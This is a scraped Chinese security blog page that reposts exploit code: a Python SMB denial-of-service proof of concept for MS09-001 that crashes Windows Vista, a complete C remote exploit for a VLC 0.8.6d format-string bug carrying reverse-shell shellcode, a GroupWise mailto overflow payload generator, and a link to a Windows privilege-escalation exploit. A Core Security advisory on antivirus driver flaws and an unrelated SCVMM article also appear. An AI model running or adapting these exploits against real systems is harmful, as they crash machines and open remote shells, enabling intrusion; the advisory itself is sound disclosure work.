今天用python写了一个SMB dos的poc,测试vista sp1,
一个包过去立刻蓝屏,不过XP SP2还有点问题。
# MS09-001 SMB Dos Vulnerabilities Poc Exploit
# Author : vessial
# http://hi.baidu.com/vessial
# Todo:
# [+] test vista sp1,system BOSD
# Reference :http://www.microsoft.com/technet/security/Bulletin/MS09-001.mspx
# http://www.milw0rm.com/exploits/6463
import impacket
from impacket import smb
from impacket import nmb
remote = smb.SMBPacket('')
r = smb.SMB('*SMBSERVER','192.168.40.129',None,nmb.TYPE_SERVER,445)
r._login('','','','WORKGROUP')
tid = r.tree_connect_andx('\\\\192.168.40.129\\IPC$')
smb1 = smb.NewSMBPacket()
smb1['Flags1'] = 0x18
smb1['Flags2'] = 0xc807
smb1['Tid'] = tid
ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
ntCreate['Data'] = smb.SMBNtCreateAndX_Data()
ntCreate['Parameters']['FileNameLength'] = 14
ntCreate['Parameters']['AndXOffset'] = 0xdede
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Parameters']['AccessMask'] = 0x2019f
ntCreate['Parameters']['CreateOptions'] = 0x400040
ntCreate['Parameters']['ShareAccess'] = 7
ntCreate['Parameters']['Impersonation'] = 2
ntCreate['Parameters']['Disposition'] = 1
ntCreate['Data'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"
smb1.addCommand(ntCreate)
r.sendSMB(smb1)
recv=r.recvSMB()
if recv.isValidAnswer(smb.SMB.SMB_COM_NT_CREATE_ANDX):
ntCreateResponse = smb.SMBCommand(recv['Data'][0])
ntCreateParameters =smb.SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters'])
fid = ntCreateParameters['Fid']
smb1 = smb.NewSMBPacket()
smb1['Flags1'] = 0x18
smb1['Flags2'] = 0
smb1['Tid'] = tid
data = "A"*72
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
smb1.addCommand(writeAndX)
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()
writeAndX['Parameters']['Fid'] = fid
writeAndX['Parameters']['AndXOffset'] = 0xdede
writeAndX['Parameters']['Offset'] = 0
writeAndX['Parameters']['WriteMode'] = 8
writeAndX['Parameters']['Remaining'] = len(data)
writeAndX['Parameters']['_reserved'] = -1
writeAndX['Parameters']['DataLength'] = 0xffff
writeAndX['Parameters']['DataOffset'] = 0xffff
writeAndX['Parameters']['HighOffset'] = 0xcccccccc
writeAndX['Data'] = data
r.sendSMB(smb1)
NetCicala Security Salon
网蝉安全沙龙
公告
==================================================================
[zz]MS09-001 SMB Dos Poc Exploit
微软SCVMM管理VMware ESX Server
附图所示的就是SCVMM 2008 Beta的主界面,可以看到和SCVMM 2007几乎如出一辙,可以看到其中添加了VMware的主机,而且保留了Data Center、Cluster、Host的层次结构。

SCVMM可以帮助“代办”VMware的大多数功能,甚至包括大家非常喜欢的VMotion功能!而且使用起来也非常简单。只需切换到“虚拟机”视图,选中所需迁移的虚机,然后单机右侧操作面板上的“虚拟机迁移”,即可开始迁移。

问题解决以后,重新开始迁移向导,可以看到现在虚机已经符合迁移的要求,如附图所示。

一路“Next”以后,很快就可以开始迁移进程,而且非常有意义的是,所有的步骤可以自动生成相应的PowerShell脚本,方便今后快速操作。
在迁移的时候,如果打开VMware Virtual Center的主界面,可以看到当前正在进行迁移,而且虚机继续保持运行,如附图所示。

在SCVMM 2008 Beta的作业窗格里,也可以看到迁移的进程,如附图所示。很快迁移就可以完成,非常方便。

实际上,SCVMM是利用VMware Virtual Center所提供的API进行工作的,其中大部分的工作,都可以借助SCVMM来完成,相当不错。毕竟我们可以借助单一的平台,来对企业里的不同虚拟架构进行管理,非常方便。
网蝉安全沙龙前三期下载
网蝉安全沙龙期刊(第一期)
下载:NetCicala Security Salon's Zine download NO1.
网蝉安全沙龙期刊(第二期)
下载:NetCicala Security Salon's Zine download NO2.
网蝉安全沙龙期刊(第三期)
下载:NetCicala Security Salon's Zine download NO3.
Metasploit Framework 3.1
MSF3.1:
Metasploit Framework 3.1 基于RUBY开发的。很好用
下载:http://www.fs2you.com/files/bfe5a957-15aa-11dd-83e1-0014221f4662/
[zz]VLC 0.8.6d httpd_FileCallBack Remote Format String Exploit
/* Epibite // bite since 1442
* pown meme ta mamie
*/
/* Advisory from Luigi Auriemma
* CVE-2007-6682 / format string in VideoLAN VLC 0.8.6d
*
* Description :
* Format string vulnerability in the httpd_FileCallBack
* function (network/httpd.c) in VideoLAN VLC 0.8.6d allows
* remote attackers to execute arbitrary code via format
* string specifiers in the Connection parameter.
*/
/* La faille n'a d'interet que dans un but d'apprentissage
* d'une technique avance d'exploitation des chaines de
* format.
*
* Toute la difficulte de l'exploitation est liee au fait
* que la chaine de format se trouve dans un thread, et
* la pile remplie avec des adresses du tas.
* On est donc oblige d'utiliser la technique dite de
* "l'ebp chaining".
*
* On pardonnera le manque de proprete et de portabilite,
* defauts qui sont expliques et corriges durant son
* utilisation sur la plateforme de tutoriaux de
* l'Epitech Security Laboratory.
*/
/* Traduction:
* This is ugly and not cross plateform, use it for
* learning purpose. (^-^)
*/
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <strings.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h>
int connect_(char *, int);
void exit_(int, char *);
char *get_payload(unsigned short, unsigned short/* , unsigned short * */);
void progressbar(void);
void write_short(unsigned short, unsigned short);
#define REQUEST "GET / HTTP/1.0\r\n" \
"Connection: "
/* Chaining ebp // FREEBSD8 - 0.8.6d :
*
* (0xbf5fa838) -> 0xbf5fafa8 // 12$ httpd_FileCallBack()
* _____________/
* /
* (0xbf5fafa8) -> 0xbf5fafe8 // 488$ httpd_HostThread()
* _____________/
* /
* (0xbf5fafe8) -> 0x00000000 // 504$ pthread_getprio()
*
* (0xbfbee2b8) // (bf5f)e2b8 is an eip value
* because we write short by short,
* we've just have to write (bfbe)
* in order to have the sc addr.
* (0xbf5fa83c) // An eip -> 12$ + 4
*/
#define FIRST_EBP 12
#define SECOND_EBP 488
#define THIRD_EBP 504
#define FBSD8_ESP ( 0xbf5fa808 )
#define FBSD8_SCADDR ( 0xbfbee2b8 )
int port;
char *ip;
/* bsd_ia32_reverse - LHOST=127.0.0.1 LPORT=4321 Size=92 http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6c"
"\x3c\x56\xcc\x83\xeb\xfc\xe2\xf4\x06\x5d\x0e\x55\x3e\x7e\x04\x8e"
"\x3e\x54\x29\xcc\x6c\x3d\x9b\x4c\x04\x2c\x54\xdc\x8d\xb5\xb7\xa6"
"\x7c\x6d\x06\x9d\xfb\x56\x34\x94\xa1\xbc\x3c\xce\x35\x8c\x0c\x9d"
"\x3b\x6d\x9b\x4c\x25\x45\xa0\x9c\x04\x13\x79\xbf\x04\x54\x79\xae"
"\x05\x52\xdf\x2f\x3c\x68\x05\x9f\xdc\x07\x9b\x4c";
int main(int argc, char **argv)
{
unsigned int i;
if (argc < 3)
(void) exit_(1, "Usage: exploit ip port\n");
ip = argv[1];
port = atoi(argv[2]);
printf("[+] Victim is : %s:%d...\n", ip, port);
printf("[+] Shellcode size : %d // located at : 0x%08x\n",
strlen((char *)scode), FBSD8_SCADDR);
printf("[+] EIP is located at : 0x%08x\n", FBSD8_ESP + FIRST_EBP * 4 + 4 + 2);
(void) write_short((unsigned short)(FBSD8_ESP + (THIRD_EBP * 4) + 2),
FIRST_EBP);
(void) write_short((unsigned short)(FBSD8_SCADDR >> 16), SECOND_EBP);
(void) write_short((unsigned short)(FBSD8_ESP + (THIRD_EBP * 4)),
FIRST_EBP);
for (i = 0; i < strlen((char*)scode); i += 2)
{
(void) write_short((unsigned short)(FBSD8_SCADDR + i), SECOND_EBP);
(void) write_short((unsigned short)(*((unsigned short *)(scode + i))),
THIRD_EBP);
}
(void) write_short((unsigned short)(FBSD8_ESP + (THIRD_EBP * 4) + 2),
FIRST_EBP);
(void) write_short((unsigned short)(FBSD8_ESP >> 16), SECOND_EBP);
(void) write_short((unsigned short)(FBSD8_ESP + (THIRD_EBP * 4)), FIRST_EBP);
(void) write_short((unsigned short)(FBSD8_ESP + FIRST_EBP * 4 + 4 + 2),
SECOND_EBP);
(void) write_short((unsigned short)(FBSD8_SCADDR >> 16), THIRD_EBP);
printf("[+] Done.\n");
return (0);
}
char *get_payload(unsigned short data,
unsigned short pop
/* unsigned short *offset */)
{
static char buffer[32];
char buffi[9];
/* data = data - *offset; */
if ((unsigned short)data < 8)
{
memset(buffi, '0', 9);
buffi[data] = '\0';
sprintf(buffer, "%s%%%d$hn", buffi, pop);
}
else
sprintf(buffer, "%%%du%%%d$hn", data, pop);
/* *offset = *offset + data; */
return (buffer);
}
void write_short(unsigned short data, unsigned short pop)
{
char buff[1024];
int ret;
int sock;
memset(buff, '\0', 42);
strcat(buff, REQUEST);
strcat(buff, get_payload(data, pop));
strcat(buff, "\r\n\r\n");
sock = connect_(ip, port);
if (write(sock, buff, strlen(buff)) < (int)strlen(buff))
(void) exit_(1, "[-] write()\n");
while ((ret = read(sock, buff, 1024)))
;
if (close(sock) < 0)
(void) exit_(1, "[-] close()\n");
return ;
}
void exit_(int i, char *tyop)
{
write(2, tyop, strlen(tyop));
(void) exit(i);
}
int connect_(char *ip, int port)
{
int sock;
struct sockaddr_in s;
(void) progressbar();
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
(void) exit_(1, "[-] socket()\n");
bzero(&s, sizeof(s));
s.sin_family = AF_INET;
s.sin_port = htons(port);
s.sin_addr.s_addr = inet_addr(ip);
if (connect(sock, (struct sockaddr *)&s, sizeof(s)) < 0)
(void) exit_(1, "[-] connect()\n");
return (sock);
}
void progressbar(void)
{
static unsigned int c = 0;
write(1, "D ", 12
- write(1, "[?] 8=====", 5 + ((c >> 2 & 1 ? -1 : 1)
* (++c & 3)
+ (c % 0x20 & 100))));
write(1, "p0wn in progress", 19);
write(1, "...", c / 4 % 4);
write(1, " \r", 4);
return ;
}
// milw0rm.com [2008-04-28]
[zz]MS Windows XP SP2 (win32k.sys) Privilege Escalation Exploit (MS08-025)
// ms08-25-exploit #1
// This exploit takes advantage of one of the vulnerabilities
// patched in the Microsoft Security bulletin MS08-25
// http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx
// ---------------------------------------
// Modifications are strictly prohibited.
// For research purposes ONLY.
// ---------------------------------------
// Ruben Santamarta
// www.reversemode.com
http://milw0rm.com/sploits/2008-ms08-25-exploit.zip
# milw0rm.com [2008-04-28]
[zz]GroupWise 7.0 (mailto: scheme) Buffer Overflow PoC
PRODUCT: GroupWise 7.0
OS: Windows Xp
The scheme "mailto" is vulnerable if one takes as default mail client to
GroupWise, the fault is to implement the scheme followed by an extensive
argument and this causes the buffer overflow. This brings the consequence that
can overwrite the EIP and is able to execute arbitrary code. The result with a
debbuger us what reveals.
Access violation when executing [41414141]
What power is that vulnerability to attach a html file which is included in an
iframe with the scheme badly formed runs only watch.
proof of concept
#!/usr/bin/python
a = "<iframe src='mailto:" a += "A" * 1530 a += "\x61\x61\x61\x61" a += "' width='320' height='300' scrolling='yes' name='content'>"
file = open("test.html", "w")
file.write(a)
file.close()
greetings!
Juan Pablo Lopez Yacubian
# milw0rm.com [2008-04-28]
[zz]Insufficient argument validation of hooked SSDT functions on multiple Antivirus and Firewalls
CORE-2008-0320 - Insufficient argument validation of hooked SSDT functions on multiple Antivirus and Firewalls | |
|
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
Insufficient argument validation of hooked SSDT functions on
multiple Antivirus and Firewalls
*Advisory Information*
Title: Insufficient argument validation of hooked SSDT functions on
multiple Antivirus and Firewalls
Advisory ID: CORE-2008-0320
Advisory URL: http://www.coresecurity.com/?action=item&id=2249
Date published: 2008-04-28
Date of last update: 2008-04-28
Vendors contacted: BitDefender, Comodo, Sophos and Rising
Release mode: Coordinated release (BitDefender, Comodo, Rising), User
release (Sophos)
*Vulnerability Information*
Class: Invalid memory reference
Remotely Exploitable: No
Locally Exploitable: Yes
Bugtraq ID: 28741, 28742, 28743, 28744
CVE Name: CVE-2008-1735, CVE-2008-1736, CVE-2008-1737, CVE-2008-1738
*Vulnerability Description*
Insufficient argument validation of hooked SSDT functions on multiple
Antivirus and Firewalls (BitDefender Antivirus [1], Comodo Firewall [2],
Sophos Antivirus [3] and Rising Antivirus [4]) have been found that
could lead to a Denial of Service (DoS) and possibly to code execution
attacks. An attacker, utilizing these flaws, could be able to locally
reboot the whole system shutting down the firewall or anti-virus
protection. However, in some cases it may be possible to extend the
impact of these bugs, and they could lead to the execution of arbitrary
code in the privileged kernel mode.
*Vulnerable Packages*
. BitDefender Antivirus 2008 Build 11.0.11
. Comodo Firewall Pro 2.4.18.184
. Sophos Antivirus 7.0.5
. Rising Antivirus 19.60.0.0 and 19.66.0.0
. Older versions may be affected, but were not checked.
*Non-vulnerable Packages*
. BitDefender Antivirus 2008 builds available through automatic updates,
posterior to January 18th.
. Comodo Firewall Pro 3.0
. Rising Antivirus 20.38.20
*Vendor Information, Solutions and Workarounds*
1) BITDEFENDER ANTIVIRUS (BID 28741, CVE-2008-1735)
According to BitDefender, the flaw was not exploited by any malicious
application, and it was corrected through automatic updates. Information
on this issue can be found on BitDefender website at this location:
http://kb.bitdefender.com/KB419-en--Security-vulnerability-in-BitDefender-2008.html.
2) COMODO FIREWALL PRO (BID 28742, CVE-2008-1736)
The vulnerability is fixed in Comodo Firewall Pro 3.0, available at:
http://www.personalfirewall.comodo.com/download_firewall.html
3) SOPHOS ANTIVIRUS (BID 28743, CVE-2008-1737)
Vendor statement:
"Sophos Anti-Virus 7.x for Windows 2000, 2003 and XP is affected by this
vulnerability.
Non-vulnerable products from Sophos are earlier versions of Sophos
Anti-Virus for Windows, Sophos Anti-Virus for non-Windows platforms and
all other Sophos products.
The vulnerability is only exploitable if Runtime Behavioural Analysis is
switched on. Even then the exploit will only be effective if the end
user is using security settings that are lower than the defaults for
most web browsers today, or if the end user agrees to activate an
ActiveX or Java Applet from the webpage hosting the exploit.
Workarounds to avoid this vulnerability include:
a. Using the default security settings or higher on the latest version
of your chosen web browser. In line with general security best practice
we would also encourage end users not to download ActiveX or Java
Applets unless confident about their content.
b. Turning off the Runtime Behavioural Analysis functionality within
Sophos Anti-Virus (customers will still benefit from Sophos Behavioural
Genotype protection and other means of protecting endpoints against
malware).
N.B. Should an exploit be released into the wild, Sophos will deploy
protection against that exploit.
The fix for this vulnerability requires customers to reboot their
endpoints. Given the low severity of the vulnerability, to minimise
disruption to our customers Sophos will release the fix at the earliest
opportunity that coincides with a necessary reboot of the product."
4) RISING ANTIVIRUS (BID 28744, CVE-2008-1738)
A fixed version of Rising Antivirus can be downloaded from:
http://rsdownload.rising.com.cn/for_down/rsfree/ravolusrfree.exe
All Rising customers can also update up to a patched version through
automatic updates.
*Credits*
These vulnerabilities (except the Rising one) were discovered by Damian
Saura, Anibal Sacco, Dario Menichelli, Norberto Kueffner, Andres Blanco
y Rodrigo Carvalho from Core Security Technologies, during Bugweek 2007.
The Rising vulnerability was discovered by Anibal Sacco from Core
Security Technologies exploit writers team.
These vulnerabilities were researched by Anibal Sacco and Damian Saura
from Core Security Technologies.
*Technical Description / Proof of Concept Code*
We have found that BitDefender Antivirus, Rising Antivirus, Comodo
Firewall and Sophos Antivirus have hooks that do not properly validate
the arguments of the hooked functions before accessing them, and lead to
the program trying to reference some invalid memory, leading in some
scenarios to a BSOD (Blue Screen of Death).
In our tests we used the kernel hooks probing tool BSODhook [5] in order
to find any kind of insufficient argument validation of hooked SSDT
functions. From Matousec paper [6]:
"Hooking kernel functions by modifying the System Service Descriptor
Table (SSDT) is a very popular method of implementation of additional
security features and is used frequently by personal firewalls and other
security and low-level software. Although undocumented and despised by
Microsoft, this technique can be implemented in a correct and stable
way. However, many software vendors do not follow the rules and
recommendations for kernel-mode code writing and many drivers that
implement SSDT hooking do not properly validate the parameters of the
hooking functions."
"Hooking SSDT functions requires extra caution. SSDT function handlers
are executed in the kernel mode but their callers are executed in the
user mode. Hence all function arguments come from the user mode. This is
why it is necessary to validate these arguments properly. Otherwise a
simple user call can easily crash the whole system. This bug usually
results in a system crash. However, it may happen that this bug is even
more dangerous and may lead to the execution of an arbitrary code in the
privileged kernel mode."
A local DoS attack, despite not being a very sophisticated intrusion
attack, could be used as an accessory under several scenarios. It is
commonly used by viruses as added feature, when the specific AV is
detected on the infected machine, crashing the system just to annoy. Or
by a human attacker, after a succesful remote intrusion with
unprivileged credentials to make a computer resource unavailable to its
intended users. Besides, this could be a very valuable resource when
trying to fake some service that answers broadcasts request like a DHCP,
allowing to start the service in another location replacing the original
one.
1) BITDEFENDER ANTIVIRUS (BID 28741, CVE-2008-1735)
BitDefender fails to validate the pointer to the 'CLIENT_ID' structure
provided to 'NtOpenProcess'. So, if we pass an invalid pointer, we will
crash the whole system.
/-----------
NtOpenProcess(PHANDLE ProcessHandle,
ACCESS_MASK AccessMask,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId )
.text:00010ADE push 0Ch
.text:00010AE0 push offset stru_114E8
.text:00010AE5 call __SEH_prolog
.text:00010AEA call KeGetCurrentThread
.text:00010AEF xor ebx, ebx
.text:00010AF1 cmp [eax+140h], bl
.text:00010AF7 jz short loc_10B0D
.text:00010AF9 call PsGetCurrentProcessId
.text:00010AFE call PsGetCurrentProcessId
.text:00010B03 push eax
.text:00010B04 call sub_10724
.text:00010B09 test eax, eax
.text:00010B0B jnz short loc_10B12
.text:00010B0D
.text:00010B0D loc_10B0D: ; CODE XREF: sub_10ADE+19_j
.text:00010B0D push [ebp+ClientId]
.text:00010B10 jmp short loc_10B73
.text:00010B12 ;
-
---------------------------------------------------------------------------
.text:00010B12
.text:00010B12 loc_10B12: ; CODE XREF: sub_10ADE+2D_j
.text:00010B12 mov edi, [ebp+ClientId]
.text:00010B15 cmp edi, ebx ; Little check to avoid a
Null Pointer
- -----------/
Here it gets the pointer to the 'ClientId' value, and if it is non zero
('!= 0') it does not care where it is pointing to.
/-----------
.text:00010B17 jnz short loc_10B1C
.text:00010B19 push ebx
.text:00010B1A jmp short loc_10B73
.text:00010B1C ;
-
---------------------------------------------------------------------------
.text:00010B1C
.text:00010B1C loc_10B1C: ; CODE XREF: sub_10ADE+39_j
.text:00010B1C mov [ebp+ms_exc.disabled], ebx
.text:00010B1F mov esi, [edi] ; Here it crashes
- -----------/
It access to that memory, and if that is invalid memory the system will
crash.
/-----------
.text:00010B21 mov [ebp+var_1C], esi
.text:00010B24 or [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:00010B28 jmp short loc_10B3B
.text:00010B28 sub_10ADE endp
- -----------/
2) COMODO FIREWALL PRO (BID 28742, CVE-2008-1736)
In Comodo there are problems in the arguments validation of
'NtDeleteFile', 'NtCreateFile' and 'NtSetThreadContext' functions.
'NtDeleteFile' receives just one parameter, a pointer to an
'OBJECT_ATTRIBUTES' structure. These attributes would include the
'ObjectName' and the 'SECURITY_DESCRIPTOR', for example. This is the
hook placed by Comodo at 'NtDeleteFile'.
/-----------
NTDeleteFile (POBJECT_ATTRIBUTES ObjectAttributes)
.text:0001ACB0 push 1Ch
.text:0001ACB2 push offset stru_1E3F0
.text:0001ACB7 call __SEH_prolog
.text:0001ACBC xor ebx, ebx
.text:0001ACBE inc ebx
.text:0001ACBF mov [ebp+var_1C], ebx
.text:0001ACC2 xor esi, esi
.text:0001ACC4 mov [ebp+var_24], esi
.text:0001ACC7 mov [ebp+var_20], ebx
.text:0001ACCA mov [ebp+var_28], esi
.text:0001ACCD mov [ebp+ms_exc.disabled], esi
.text:0001ACD0 call ds:ExGetPreviousMode
.text:0001ACD6 mov edi, [ebp+ObjectAttributes]
- -----------/
Here it does a lot of 'ProbeForRead' checks to see if the pointers of
the structure are valid. Nice! ('EDI' still has a pointer to the
'OBJECT_ATTRIBUTES' structure)
/-----------
....
.text:0001AD25 push edi ; ObjectAttributes
.text:0001AD26 call sub_1A692 ; Here it passes the
OBJECT_ATTRIBUTES structure pointer to the next function.
sub_1A692
.text:0001A692 push 28h
.text:0001A694 push offset stru_1E3C0
.text:0001A699 call __SEH_prolog
.text:0001A69E xor edi, edi
....
.text:0001A6B3 mov [ebp+ms_exc.disabled], edi
.text:0001A6B6 push 72747052h ; Tag
.text:0001A6BB mov ebx, 400h
.text:0001A6C0 push ebx ; NumberOfBytes
.text:0001A6C1 push 1 ; PoolType
.text:0001A6C3 call ds:ExAllocatePoolWithTag ; Allocates memory to
hold the data retrieved by ZwQueryObject
.text:0001A6C9 mov esi, eax
.text:0001A6CB mov [ebp+var_28], esi
.text:0001A6CE cmp esi, edi
.text:0001A6D0 jz short loc_1A74F
.text:0001A6D2 mov edi, [ebp+ObjectAttributes]
.text:0001A6D5 mov eax, [edi+OBJECT_ATTRIBUTES.RootDirectory] ;
Here, the code retrieves the RootDirectory's field value from the
structure, controled by us.
.text:0001A6D8 test eax, eax
.text:0001A6DA jz short loc_1A71B
.text:0001A6DC push 0 ; ReturnLength
.text:0001A6DE push ebx ; ObjectInformationLength
.text:0001A6DF push esi ; ObjectInformation
; buffer where ZwQueryObject will put the object information
.text:0001A6E0 push 1 ; ObjectInformationClass
; Specifies an OBJECT_INFORMATION_CLASS value that determines the type
; of information returned in the ObjectInformation buffer. It's using
; an undocumented type (OBJECT_NAME_INFORMATION) which returns an
UNICODE_STRING structure
.text:0001A6E2 push eax ; ObjectHandle
; Now, the user-controlled handle 'll be used here to identify the
object by ZwQueryObject,
.text:0001A6E3 call ds:ZwQueryObject
.text:0001A6E9 mov [ebp+var_20], eax
.text:0001A6EC test eax, eax
.text:0001A6EE jl short loc_1A746
- -----------/
Here is where the problem shows up. The code does not properly validates
the data retrieved by 'ZwQueryObject', expecting an 'UNICODE_STRING'
structure. But it is possible to make multiple calls to the function
using different handlers to obtain a null structure crashing the system
when the code tries to dereference its 'Buffer' field.
/-----------
.text:0001A6F0 movzx eax, [esi+UNICODE_STRING.Length]
.text:0001A6F3 shr eax, 1
.text:0001A6F5 mov ecx, [esi+UNICODE_STRING.Buffer]
.text:0001A6F8 movzx eax, word ptr [ecx+eax*2-2] ; Here is the problem
.text:0001A6FD mov [ebp+var_30], eax
.text:0001A700 cmp ax, 5Ch
.text:0001A704 jz short loc_1A725
- -----------/
3) SOPHOS ANTIVIRUS (BID 28743, CVE-2008-1737)
Insufficient argument validation of hooked SSDT functions on Sophos lead
to a DoS. An attacker, utilizing this flaw, would be able to locally
reboot the whole system shutting down the Firewall or AV protection.
Although neither the vendor nor Core Security has found a means of
exploiting the flaw to execute arbitrary code, it has not been possible
to rule this out.
In Sophos AV there is a problem in the arguments validation of
'NtCreateKey' function.
/-----------
int __cdecl NtCreateKeyHook(PHANDLE pKeyHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
ULONG TitleIndex,PUNICODE_STRING Class,
ULONG CreateOptions,
PULONG Disposition)
[...]
.text:0001C01C push 4 ; Alignment
.text:0001C01E push 18h ; Length
.text:0001C020 mov esi, [ebp+ObjectAttributes]
.text:0001C023 push esi ; Address
.text:0001C024 call ds:ProbeForRead
- -----------/
Here it checks for 'ObjectAttributes' to be pointing to a valid address.
/-----------
.text:0001C02A mov eax, [esi+OBJECT_ATTRIBUTES.RootDirectory]
.text:0001C02D mov [ebp+Handle], eax
.text:0001C030 mov esi, [esi+OBJECT_ATTRIBUTES.ObjectName]
.text:0001C033 mov [ebp+pUnicodeString], esi
- -----------/
Now, it gets from 'OBJECT_ATTRIBUTES' a handle and a pointer to an
'UNICODE_STRING' structure.
/-----------
.text:0001C095 push 4
.text:0001C097 push 8
.text:0001C099 push esi
.text:0001C09A mov ebx, ds:ProbeForRead
.text:0001C0A0 call ebx ; ProbeForRead, it checks the
pointer before the dereference.
.text:0001C0A2 mov eax, dword ptr [esi+UNICODE_STRING.Length]
.text:0001C0A4 mov dword ptr [ebp+stUnicodeString.Length], eax
.text:0001C0A7 mov esi, [esi+UNICODE_STRING.Buffer] ; And gets
from the UNICODE_STRING structure
; a pointer to the unicode buffer.
.text:0001C0AA mov [ebp+stUnicodeString.Buffer], esi
.text:0001C0AD push 2 ; Alignment
.text:0001C0AF shr eax, 10h
.text:0001C0B2 push eax ; Length
.text:0001C0B3 push esi ; Address
.text:0001C0B4 call ebx ; ProbeForRead
- -----------/
It does the check, but here is the problem
/-----------
.text:0001C0B6 push gdwValue
.text:0001C0BC lea eax, [ebp+stUnicodeString]
.text:0001C0BF push eax
.text:0001C0C0 push [ebp+Object]
.text:0001C0C3 call sub_1cb40
- -----------/
The problem relies in the function not properly checking the 'Length'
field of the 'UNICODE_STRING' structure. When doing the check,
'ProbeForRead' receives the length field of the structure as a parameter
without any kind of validation.
So, if we set this field to 0, 'ProbeForRead' will not raise any
exception even though we were passing it an invalid address. And it will
crash when trying to access to the desired invalid memory.
/-----------
sub_1cb40
[...]
.text:0001CB5E xor esi, esi
.text:0001CB60 mov [ebp+ms_exc.disabled], esi
.text:0001CB63 mov edi, [ebp+pUnicodeString]
.text:0001CB66 mov eax, [edi+UNICODE_STRING.Buffer]
- -----------/
And here is where it will crash:
/-----------
.text:0001CB69 cmp word ptr [eax], '\' ; Reference the first
pointed byte
- -----------/
4) RISING ANTIVIRUS (BID 28744, CVE-2008-1738)
In Rising antivirus the code of the 'NtOpenProcess' hook does not
validates if the pointer to the structure
/-----------
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;}
- -----------/
is really pointing to mapped memory. So, when the code tries to
dereference the pointer to check the 'CLIENT_ID->UniqueProcess' value,
if it is pointing to invalid memory, will crash.
/-----------
NtOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId )
.text:00010EAA push ebp
.text:00010EAB mov ebp, esp
.text:00010EAD push esi
.text:00010EAE mov esi, offset Addend
.text:00010EB3 push edi
.text:00010EB4 mov ecx, esi ; Addend
.text:00010EB6 call ds:InterlockedIncrement
.text:00010EBC call PsGetCurrentProcessId
.text:00010EC1 cmp eax, dword_11C8C
.text:00010EC7 jnz short loc_10ECE
.text:00010EC9
.text:00010EC9 loc_10EC9: ; CODE XREF: sub_10EAA+37_j
.text:00010EC9 push [ebp+ClientId]
.text:00010ECC jmp short loc_10EF0
.text:00010ECE ;
-
---------------------------------------------------------------------------
.text:00010ECE
.text:00010ECE loc_10ECE: ; CODE XREF: sub_10EAA+1D_j
.text:00010ECE call PsGetCurrentProcessId
.text:00010ED3 mov ecx, dword_11C80
.text:00010ED9 push eax
.text:00010EDA call sub_11070
.text:00010EDF test al, al
.text:00010EE1 jnz short loc_10EC9
.text:00010EE3 call PsGetCurrentProcessId
.text:00010EE8 mov edi, [ebp+ClientId] ; Here is the bug, if
ClientId is pointing to an invalid address
.text:00010EEB cmp eax, [edi] ; it will crash.
.text:00010EED jnz short loc_10F0D
- -----------/
*Report Timeline*
. 2008-01-11: Core Security Technologies found a security vulnerability
in BitDefender antivirus.
. 2008-01-14: BitDefender team is contacted by Core.
. 2008-01-15: BitDefender team asks Core for technical description of
the vulnerability.
. 2008-01-15: Technical details are sent to BitDefender team by Core.
. 2008-01-22: BitDefender notifies Core that a fix has been produced and
the flaw was corrected through automatic updates.
. 2008-02-04: According to the original schedule, the CORE-2008-0320
advisory would be released at this date, but similar flaws in other
antivirus products were discovered by Core exploit writers team.
Considering all BitDefender users are patched, Core Security
Technologies does not release the advisory and continues the research of
this issue in other products.
. 2008-03-20: Core analyzes similar vulnerabilities in Comodo Firewall,
Sophos Antivirus and Rising Antivirus.
. 2008-03-25: Core notifies the Comodo, Sophos and Rising teams of the
vulnerabilities.
. 2008-03-27: Comodo team asks Core for technical description of the
vulnerability.
. 2008-03-27: Technical details are sent to Comodo team by Core.
. 2008-03-31: Rising team asks Core for technical description of the
vulnerability.
. 2008-04-01: Technical details are sent to Rising team by Core.
. 2008-04-02: Rising team inform Core that the flaw has been fixed in
the Rising AV 2008 version.
. 2008-04-02: Sophos team asks Core for technical description of the
vulnerability.
. 2008-04-07: Technical details are sent to Sophos team by Core.
. 2008-04-11: Sophos team informs that the flaw is found in one of the
antivirus drivers, and fixing it will require a reboot for all of Sophos
Windows customers. Sophos would like to fix the bug in the next major
version (second quarter 2009), in particular considering the fact that
they were unable to come up with any practical use of this vulnerability.
. 2008-04-14: Comodo notifies Core that a fix has been produced.
. 2008-04-14: Sophos informs Core that they will be able to release a
fix to the vulnerability at the end of October 2008.
. 2008-04-21: Core responds that they will reschedule the publication to
April 24th, 2008. Since the vulnerability is not critical, and has been
found using publicly available tools, like the other vulnerabilities
included in the advisory, Core doesn't see a reason to postpone the
publication of the Sophos bug until October 2008.
. 2008-04-21: Sophos asks Core not to release details of the
vulnerability until a fix is available, and not to publish Proof of
Concept code. Sophos informs that they do not believe that arbitrary
code execution is possible.
. 2008-04-24: Core responds that the advisory does not contain Proof of
Concept code. Core confirms its intention of publishing the advisory,
including the technical description, but decides to postpone it to April
28th, to give the participants more time to coordinate the release of
public information.
. 2008-04-25: Sophos provides additional information, included in the
"vendor information" section of the advisory.
. 2008-04-28: CORE-2008-0320 advisory is published.
*References*
[1] http://www.bitdefender.com
[2] http://www.comodo.com
[3] http://www.sophos.com
[4] http://www.rising-global.com
[5] http://www.matousec.com/downloads
[6]
http://www.matousec.com/info/articles/plague-in-security-software-drivers.php
